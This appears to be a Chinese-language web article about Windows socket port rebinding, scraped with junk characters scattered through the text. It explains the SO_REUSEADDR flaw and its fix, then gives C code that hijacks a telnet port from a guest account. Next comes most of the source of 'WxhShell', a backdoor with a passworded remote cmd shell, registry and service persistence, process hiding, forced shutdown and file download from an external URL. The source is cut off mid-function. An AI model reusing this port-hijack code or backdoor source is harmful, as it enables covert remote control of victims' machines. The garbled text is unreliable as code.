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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PSqtZN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9
roth YSz$` 7i saddr.sin_family = AF_INET; K^&
]xFW xVz -_z saddr.sin_addr.s_addr = htonl(INADDR_ANY); B0XBI0w^Y WlRZ|. bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0/00W6r0 (9 z.IH7}k 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )tI2?YIR JvWs/AG1 这意味着什么?意味着可以进行如下的攻击: {S" ,-IF++q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]G
o~]7(5| l)rvh#D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) awSS..g}L @uM3iO7& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k#:@fH4{PA Hs`#{W{. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 !_z<W~t" S}p&\w H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yZ~eLWz `_g?y) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p<0kmA<B/ )>X|o$2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 . I&)MZ>n C|~JPcl #include "K$ Wh1<7 #include ~iR!3+yg4 #include si!9Gz; #include Rw
ao5l=x DWORD WINAPI ClientThread(LPVOID lpParam); >&Ui* int main() 0@e}hv; { {Fp`l\, WORD wVersionRequested; s8yTK2v2\ DWORD ret; }!yD^:[5 WSADATA wsaData; yc%E$g BOOL val; )3` SOCKADDR_IN saddr; <.7I8B7 SOCKADDR_IN scaddr; #nf%ojh int err; B[/['sD SOCKET s; LY88;*:S SOCKET sc; ;]oXEq` int caddsize; EO9kE.g HANDLE mt; 7MuK/q. DWORD tid; o!l3.5m2d wVersionRequested = MAKEWORD( 2, 2 ); 3VRZM@i err = WSAStartup( wVersionRequested, &wsaData );
Eagmafu if ( err != 0 ) { 7ru9dg1? printf("error!WSAStartup failed!\n"); ZaUcP6[h return -1; D_19sN@0m } N} x/&e saddr.sin_family = AF_INET; 9>[.= j#nO6\&o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Sv~1XL W 2c>H(t h= saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AR+\uD=\I- saddr.sin_port = htons(23); y%IG:kZ, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F3Ak'h{Ay { */5<L99v printf("error!socket failed!\n"); fdq^!MWTi return -1; 6PQJgki } )*TW\v`B val = TRUE; kTiPZZI //SO_REUSEADDR选项就是可以实现端口重绑定的 ++Ys9Y)*, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4<3?al& { i^s`6:rNu printf("error!setsockopt failed!\n"); ej"o?1l@ return -1; 8F`BJ6=' } \{MrQ2jd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v-7Rb)EP //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rz[uuY7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EDgob^> _L:i=.hxN if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5fj { 5;K-,"UQ ret=GetLastError(); @cS1w'= printf("error!bind failed!\n"); sx-Hw4.a" return -1; XEUa } z"s%#/# listen(s,2); AK~`pq[. while(1) SP
D207 { K5)yM @cq caddsize = sizeof(scaddr); .cH{WZ //接受连接请求 WK_y1(v> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GEe 0@q#YA if(sc!=INVALID_SOCKET) %g]$Vfpy { l#5~t|\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B::4Qme if(mt==NULL) )ZgER[ { x8pbO[_| printf("Thread Creat Failed!\n"); ,.6J6{ break; }W__ffH } /XW&q)z-Hl } 8=n9hLhqo CloseHandle(mt); z*dQIC } e0~sUVYf closesocket(s); 1o;g1Z/ WSACleanup(); %eutfM-?6 return 0; 2 <6`TA*m } ax72e hL} DWORD WINAPI ClientThread(LPVOID lpParam) ~_l6dDJ { ySixYt SOCKET ss = (SOCKET)lpParam; y;{^Ln4{ SOCKET sc; D 8@nkSP unsigned char buf[4096]; x:A-p..e SOCKADDR_IN saddr; ?2?S[\@`0U long num; ==h|+NFa DWORD val; ~|r'2V* DWORD ret; eC+"mhB //如果是隐藏端口应用的话,可以在此处加一些判断 jsNH`" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *%OYAsc saddr.sin_family = AF_INET; Hyq@O8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l\T!)Ql saddr.sin_port = htons(23); I+Ncmg )> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xx3g3P { J8u{K.(*7 printf("error!socket failed!\n"); B.}_], return -1; tp6csS,
} c%AFo]H val = 100; .)"_Q/q
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S1 EEASr!} { eq@am(#&kY ret = GetLastError(); <THZ2`tTK3 return -1; d}{LM!s } 7xv4E<r2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yyY~ *Le { `2xH7a- ret = GetLastError(); u0bfX,e2U return -1; ?Do^stq'4 } V-KL% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bH\'uaJ { vU_d=T%$ printf("error!socket connect failed!\n"); (~j,mk closesocket(sc); T~i%j@Q.6 closesocket(ss); w24{_ N return -1; zb>f;[ } :]CzN^k(1c while(1) [%j?.N { "3{#d9Gs //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >63)z I //如果是嗅探内容的话,可以再此处进行内容分析和记录 >lD;0EN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (O)\#%,@R num = recv(ss,buf,4096,0); Q00R<hu@F if(num>0) uipq=Yp. send(sc,buf,num,0); jd%Len&p else if(num==0) Vq3gceo'0A break; }xAie( num = recv(sc,buf,4096,0); N$\ bg|v if(num>0) YCa@R!M*O send(ss,buf,num,0); *4<4 else if(num==0) s?QVX~S" break; \#4m@ } ?M *7@t@ closesocket(ss); gM4P j[W closesocket(sc); r4O|() return 0 ; IDy_L;'`* } >5)<Uv$ D(y+1^> uije#cj#O ========================================================== y[:
~CL a}:A, t<6 下边附上一个代码,,WXhSHELL v8ba~ Z[",$Lt ========================================================== KcC!N{ %'Zc2h&z #include "stdafx.h" (GCG/8s Iz
DG&c #include <stdio.h> 8zhBA9Y#~ #include <string.h> y }\r#"Z` #include <windows.h> rRB~=J" #include <winsock2.h> \HAJ\9*w) #include <winsvc.h> 95=gY #include <urlmon.h> kOw=c Gt ^_v[QV #pragma comment (lib, "Ws2_32.lib") AY#wVy #pragma comment (lib, "urlmon.lib") 7;&(} y|$R`P #define MAX_USER 100 // 最大客户端连接数 *)u?~r(F #define BUF_SOCK 200 // sock buffer "\e:h|
.G #define KEY_BUFF 255 // 输入 buffer $}t=RW Pm4e8b #define REBOOT 0 // 重启 3sH\1)Zz #define SHUTDOWN 1 // 关机 1N8;)HLIBJ Vy__b=ti? #define DEF_PORT 5000 // 监听端口 'T\dkSJv;V B[r<m J #define REG_LEN 16 // 注册表键长度 vxZg &SRK #define SVC_LEN 80 // NT服务名长度 > 2#%$lX6 P0^c?s"I // 从dll定义API 8{dEpV* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Rj#sxtdw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }g~g50ci typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kx~$Bor_! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZWO)tVw9G 2d*_Qq1 // wxhshell配置信息 i3#'*7f%j struct WSCFG { 8".2)W4*
int ws_port; // 监听端口 yL6^\x char ws_passstr[REG_LEN]; // 口令 C,/O
int ws_autoins; // 安装标记, 1=yes 0=no H@GE)I>^@ char ws_regname[REG_LEN]; // 注册表键名 o\Uu?.-< char ws_svcname[REG_LEN]; // 服务名 I,b9t\(6 char ws_svcdisp[SVC_LEN]; // 服务显示名 ?v:ZU~i char ws_svcdesc[SVC_LEN]; // 服务描述信息 IV'p~t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H$!+A int ws_downexe; // 下载执行标记, 1=yes 0=no Z7fg
25 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" qj&bo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 owvS/"@ fAGctRGH }; yub{8 f;v v5_7r%Hiw // default Wxhshell configuration 69-:]7.g struct WSCFG wscfg={DEF_PORT, #)o7"PW: "xuhuanlingzhe", Y25^]ON*\^ 1, O gmSQ "Wxhshell", DECB*9O^ "Wxhshell", xACdZB( "WxhShell Service", 7Y1GUIRa3 "Wrsky Windows CmdShell Service", r`jWp\z "Please Input Your Password: ", %Tv^GP{} 1, {T=52h=e " http://www.wrsky.com/wxhshell.exe", fiVHRSX60 "Wxhshell.exe" jfD1 }; WK0C Bq@zaMv // 消息定义模块 iib char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U3E&n1AA char *msg_ws_prompt="\n\r? for help\n\r#>"; UZGDdP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; S,''>`w char *msg_ws_ext="\n\rExit."; 5{d\uE%'p char *msg_ws_end="\n\rQuit."; %d1draL char *msg_ws_boot="\n\rReboot..."; |t))u`~ char *msg_ws_poff="\n\rShutdown..."; *RWm47 char *msg_ws_down="\n\rSave to "; y500Xs[c
%v+=;jw char *msg_ws_err="\n\rErr!"; lwT9~Hyp char *msg_ws_ok="\n\rOK!"; D'b#,a;V %T!J$a)qf char ExeFile[MAX_PATH]; ?P/AC$:|I int nUser = 0; 6BocGo({ HANDLE handles[MAX_USER]; 9@K.cdRjQ int OsIsNt; .$&Q[r3Lu e4`uVq5 SERVICE_STATUS serviceStatus; a^t?vv SERVICE_STATUS_HANDLE hServiceStatusHandle; H6K`\8/SeN )}MHx`KT2 // 函数声明 s
=Umj'1k int Install(void); ?<U{{C int Uninstall(void); =Q<L
eh=G int DownloadFile(char *sURL, SOCKET wsh); kkS~4?-* int Boot(int flag); t9^A(Vh"- void HideProc(void); uLQ int GetOsVer(void); cK@jmGj+ int Wxhshell(SOCKET wsl); xyA-P& N void TalkWithClient(void *cs); Wh(
|+rJ?Z int CmdShell(SOCKET sock); x[Im%k int StartFromService(void); 9MY7a=5E~ int StartWxhshell(LPSTR lpCmdLine); \K
iwUz \(
)#e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [8XLK 4e VOID WINAPI NTServiceHandler( DWORD fdwControl ); HfB@vw^ HN6}R|IH // 数据结构和表定义 5GQLd SERVICE_TABLE_ENTRY DispatchTable[] = >9H@|[C {
X[](Kj^`< {wscfg.ws_svcname, NTServiceMain}, nXA\|c0 {NULL, NULL} ~+G#n"P n }; P[ r];e
?wb+L // 自我安装 X^@I]. int Install(void) rJJ[X4$ { vUA0FoOp char svExeFile[MAX_PATH]; aG+j9Q_ HKEY key; 5D Y\:AF strcpy(svExeFile,ExeFile); -|S]oJy HYK!}& // 如果是win9x系统,修改注册表设为自启动 ]Mi.f3QlO6 if(!OsIsNt) { S'LZk9E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K_/zuTy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b'YE9E RegCloseKey(key); b:J(b? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MZ>6o5K| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p(F " / RegCloseKey(key); /9pM>Cd*Z return 0; IA&L] } @n&<B`/ } tK(g-u0N`( } S4^N^lQ] else { c{+A J8 }8-\A7T // 如果是NT以上系统,安装为系统服务 ? "/ fPV- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Iu@y(wyg if (schSCManager!=0) w
Y { SqA
J-_~ SC_HANDLE schService = CreateService Z8#Gwyinx ( S8d8%R~1=h schSCManager, #R0A= ! wscfg.ws_svcname, "=. t
36# wscfg.ws_svcdisp, ?, r~= SERVICE_ALL_ACCESS, X-LA}YH=tS SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uX/$CM SERVICE_AUTO_START, OZY, @c SERVICE_ERROR_NORMAL, e({9] svExeFile, S~Z|PLtF NULL, qa`-* 4m NULL, =&wmWy NULL, hU]HTX'R NULL, %V`F!D<D NULL #H?t!DU ); wXMDh$ if (schService!=0) $~0Q@): { '*^yAlgtt CloseServiceHandle(schService); /iC;%r1L CloseServiceHandle(schSCManager); N==ZtKj F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /cr}N%HZB strcat(svExeFile,wscfg.ws_svcname); :~Q!SL N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }R[#?ty;] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uMb>xxf RegCloseKey(key); WEg6Kz return 0; PNOGN|D } "\W-f } xT&(n/ CloseServiceHandle(schSCManager); cJo\#cr } 7?8wyk|x } {5r0v#; DZ7
gcC return 1; .d;Iht,[ } @ V08U! {GDmVWG0q // 自我卸载 ~\)qi= int Uninstall(void) :F,O { FWue;pw3 HKEY key; SzwQOs* W7"{r)7 if(!OsIsNt) { &6 s) X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `@d<n RegDeleteValue(key,wscfg.ws_regname); ?[<Tx-L RegCloseKey(key); j"^+oxH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { znJhP}( RegDeleteValue(key,wscfg.ws_regname); /={Js* RegCloseKey(key); j*"3t^|- return 0; -9
!.m } }G o$
\Bk } &cWjEx } NjPDX>R\K else { 8dD2 fDE%R={!n5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C51bc6V if (schSCManager!=0) |7,L`utp { _=ua6}Xp SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9Zry]$0~R if (schService!=0) NN0$}ac p { M.-"U+#aD if(DeleteService(schService)!=0) { <IW#ME CloseServiceHandle(schService); D jk C CloseServiceHandle(schSCManager); WW+l' 6. return 0; {oc igR0 } b2 _Yu^ CloseServiceHandle(schService); Sxdsv9w } p4IZ
CloseServiceHandle(schSCManager); )"f
N!9,F } 4'$g(+z } ?D,=37 &l$Q^g return 1; %ms'n } 1Je9,dd6 /bj
<Ft\ // 从指定url下载文件 M8H5K int DownloadFile(char *sURL, SOCKET wsh) +^*iZ6{+7 { PJxH7|GSi HRESULT hr; '(?
uPr char seps[]= "/"; izh<I0 char *token; [E#UGJ@ char *file; XwV'Ha char myURL[MAX_PATH]; %r&-gWTQ, char myFILE[MAX_PATH]; 4Mk-2 Dx zR!o{8 strcpy(myURL,sURL); gtUUsQ%y . token=strtok(myURL,seps); `1{N=!U(& while(token!=NULL) &//wSlL3 { E_KCNn-f file=token; UAR5^ token=strtok(NULL,seps); qE'9QQ>:b } e8YMX&0% m<L; GetCurrentDirectory(MAX_PATH,myFILE); rc+C?)S strcat(myFILE, "\\"); 988]}{w strcat(myFILE, file); | mu+9 send(wsh,myFILE,strlen(myFILE),0); gP+fN$5'd send(wsh,"...",3,0); e h,~^x5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?#yV3h|Ij if(hr==S_OK) r kiT1YTY return 0; )54%HM_$k else qV5DW0. return 1; -{^}"N TO%dw^{_` } ^(viM?* M#|dIbns
H // 系统电源模块 GGhM;%H_99 int Boot(int flag) .]aF
1}AI { Hw#d_P: HANDLE hToken; Sa19q.~% TOKEN_PRIVILEGES tkp; $}")1|U,X As+t##gN if(OsIsNt) { -v6M< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x `V;Y]7' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n$xQ[4eH) tkp.PrivilegeCount = 1; 2Z20E$Cb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g$.
\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jA#/Z if(flag==REBOOT) { FKe, qTqa if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N'xSG`,Mg return 0; (E]!Z vE } /?';
nGq else { 'zh7_% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NBb6T
V}j return 0; <F11m( } DcSnia62f } ?5kHa_^ else { =2w4C_ if(flag==REBOOT) { pm{|?R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r!
Ay:r return 0; Y.^=]-n, } dMR3)CO else { lI>SUsQFfm if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a<]B B$~ return 0; :$MG*/Q } *,Bzc Z } *%KKNT'* 2w)-\/j} return 1; RCRpzY+@ } tH'2gl u1xSp<59C // win9x进程隐藏模块 A)ipFB
6K void HideProc(void) u.rY#cS,-R { wf1lyS |p$spQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ePIiF_X if ( hKernel != NULL ) _=|vgc { l7De6A" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vFEQ7qI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 86
W0rS[5 FreeLibrary(hKernel); IHRGw } kA7mLrON IKie1!ZU{" return; J*9$; } bTQNb!& Ytgj|@jsp // 获取操作系统版本 aZbw]0q@o int GetOsVer(void) [
Bl c^C{f { }B~If}7 OSVERSIONINFO winfo; svXR<7)# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /PsnD_s]5 GetVersionEx(&winfo); }jill+] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +VQ\mA59 return 1; ^_lzZOhG else |F#1C9]P return 0; 8b0d]*q } 5E notp[ | [>UH // 客户端句柄模块 S8e{K int Wxhshell(SOCKET wsl) H.UX,O@ { qY[xpm SOCKET wsh; XkyKBg- struct sockaddr_in client; &IlU|4`R% DWORD myID; +Jr|z\ `O'`eY1f while(nUser<MAX_USER) "1,pHR-+R { Qyy.IPTP int nSize=sizeof(client); aN(|'uO@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qoAj]
") if(wsh==INVALID_SOCKET) return 1; "*})3['n rb{P :MX handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |hr]>P1 if(handles[nUser]==0) E\C9|1) closesocket(wsh); K(q-?n`< else *YlV-C<}W" nUser++; >$ 2V%}; } WVLHfkN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1IVuSp`{FU tY
<Z'xA? return 0; VcoOeAKL } <jed!x *&f$K1p // 关闭 socket `Qqk<o void CloseIt(SOCKET wsh) W2.qhY 5 { vv=VRhwF closesocket(wsh); f^VP/rdg nUser--; KgR<E ExitThread(0); QD%L0;j } !fj(tPq yBI'djL~> // 客户端请求句柄 ?@V[#. void TalkWithClient(void *cs) FHV-BuH5 { ^+g$iM[`f jRL<JZ1N SOCKET wsh=(SOCKET)cs; H#ncM~y* char pwd[SVC_LEN]; h9eMcCU char cmd[KEY_BUFF]; 5ls6t{Ci char chr[1]; -{ZWo:,r~q int i,j; 0tU.( 4^URX>nx8 while (nUser < MAX_USER) { QVtQx>K` a1@Y3MQ;i if(wscfg.ws_passstr) { %HJK; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NC38fiH_N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7.`fJf? //ZeroMemory(pwd,KEY_BUFF); db6mfxi i=0; x7$}8LZ"B while(i<SVC_LEN) { I(XOE$3 h*v8#\b$J_ // 设置超时 _8E/)M fd_set FdRead; &%-73nYw struct timeval TimeOut; N ,z6y5Lu FD_ZERO(&FdRead); 8w.YYo8` FD_SET(wsh,&FdRead); 8-O)Xx}cU TimeOut.tv_sec=8; LGtIm7 TimeOut.tv_usec=0; V5rST + int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sy
'Dp9!| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o>VVsH G["c\Xux if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w`5xrqt@ pwd =chr[0]; Ih"XV if(chr[0]==0xd || chr[0]==0xa) { v\{!THCSh pwd=0; ,S!azN= break; O6OP =K!t: } Er{>p|n= i++; yNTK . } ej"+:."\e 0vw4?>Jf@ // 如果是非法用户,关闭 socket VTH>
o>g if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >qF CB\( } ^-
d%r -(=eM3o-9m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3p'I5,} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cid
;z GmP@;[H" while(1) { 8Q'0h
m? {yExQbN ZeroMemory(cmd,KEY_BUFF); %QP0 2=^m9% // 自动支持客户端 telnet标准 n<u
$=H j=0; J_4!2v!6e while(j<KEY_BUFF) { FIsyiSY<j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kbe-1 <72 cmd[j]=chr[0]; v'3J.?N if(chr[0]==0xa || chr[0]==0xd) { .yEBOMNZ cmd[j]=0; 7yh/BZ1 break; aSnFKB } eYvWZJa4 j++; @
rc{SB } %B.yW`,X %xyou:~0zs // 下载文件 b"{'T]"*j if(strstr(cmd,"http://")) { N=7pK&NHSG send(wsh,msg_ws_down,strlen(msg_ws_down),0); k-^mIJo} if(DownloadFile(cmd,wsh)) 5f 5f0|ok send(wsh,msg_ws_err,strlen(msg_ws_err),0); :w^Ed%>y7 else #e$5d>j( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h[@tZ(jrY } 9'X7wG else { 3z c U%* |Ur"&
Z{ switch(cmd[0]) { {fjdr XY3v_5~/1F // 帮助 ZNvEW case '?': { "9Q40w\ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]%u@TK7 break; K42K!8$ } mrF58Uq;A // 安装 XMu9 Uk{| case 'i': { Jh!I:;/ if(Install()) )`(p9@,V send(wsh,msg_ws_err,strlen(msg_ws_err),0); #$8% w else ",KCCis send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @y\XR break; i=oU;7~zK } M,\:<kNI // 卸载 CmoE_8U> case 'r': { F}/S:(6LF2 if(Uninstall()) o9dY9o+Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); '$ t else I!Z_[M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Y2}a<3&0 break; U ^5Kz-5. } _ =VqrK7T // 显示 wxhshell 所在路径 vkEiOFU!u case 'p': { LoN< oj5 char svExeFile[MAX_PATH]; T~##,qQ strcpy(svExeFile,"\n\r"); ;"~
fZ2$U strcat(svExeFile,ExeFile); ]Hefm?9*^ send(wsh,svExeFile,strlen(svExeFile),0); j~jV'f.:H break; =*c7i]@} } .7avpOfz // 重启 #PH~1`vl case 'b': { lHPd"3HDK send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f\sQO& if(Boot(REBOOT)) ]\hSI){ send(wsh,msg_ws_err,strlen(msg_ws_err),0); NRIG 1v> else { UMm!B `M closesocket(wsh); )9"_J9G ExitThread(0); r\-uJ~8N } b((M)Gz break; Gsq00j
&<Z } 2Ay*kmW // 关机 tnN.:%mZ case 'd': { nz=GlO'[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wc}5m
Hs if(Boot(SHUTDOWN)) E%,^Yvh/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); FE (ev 9@ else { i/`m`qdg closesocket(wsh); #Oc]
@ ExitThread(0); j2StXq3 } keX,d# break; 2j}\3Pi } OuID%p"O // 获取shell ogHCt{' case 's': { fPR1f~r CmdShell(wsh); `tA"
}1;ka closesocket(wsh); "8x8UgG ExitThread(0); ~5%W:qwQ break; xqG[~)~ } \F/hMXDlJ // 退出 x7!L{(E3 case 'x': { %\dz
m-d(C send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); --HZX CloseIt(wsh);
H Y&DmE break; [S9K6%w_! } Mh:L$f0A%O // 离开 l3Q(TH ~I case 'q': { #*K}IBz send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8<pzb}xK closesocket(wsh); 9=8iy
w WSACleanup(); lhAX;s&9 exit(1); t\~P:" break; 6;\I))"[ } (a.z9nqGA } w[zjerH3 } =hC,@R>; diL+:H // 提示信息 1{ ~#H<K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p.v0D:@& } s
E2D#D } 8D3OOab mS$j?>m return; K/j3a[. } A@1W}8qY: bLij7K2H // shell模块句柄 Z<1FSk,[ int CmdShell(SOCKET sock) "U>JM@0DNm { 4:$4u@ STARTUPINFO si; QwJVS(Gs4 ZeroMemory(&si,sizeof(si)); 8dZSi si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LsqA**= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iNtaDX|%/ PROCESS_INFORMATION ProcessInfo; B%)% char cmdline[]="cmd"; O`x;,6Vr CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1PVtxL?1P return 0; xW)2<m6C& } =9O^p@Q#W WM7oM~&{6 // 自身启动模式 4B =7:r int StartFromService(void) 9ifDcYl { ~dgDO:) typedef struct 0QXVW}`hz { "}u.v?HYz DWORD ExitStatus; : UGZ+ DWORD PebBaseAddress; 42_`+Vt]d7 DWORD AffinityMask; ;f0I
8i,JN DWORD BasePriority; "pi=$/RD9 ULONG UniqueProcessId; X$
0?j1 ULONG InheritedFromUniqueProcessId; u]<,, } PROCESS_BASIC_INFORMATION; 5nv#+ap1 " C%$edEi PROCNTQSIP NtQueryInformationProcess; [')m|u~FS4 bf ]f=;.+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #^lL5= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QUq_:t+Dv h58`XH HANDLE hProcess; Zd^rNHhA PROCESS_BASIC_INFORMATION pbi; ,&]S(|2%>t rdl;M>0@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y I HXg# if(NULL == hInst ) return 0; AK,J 7 Su
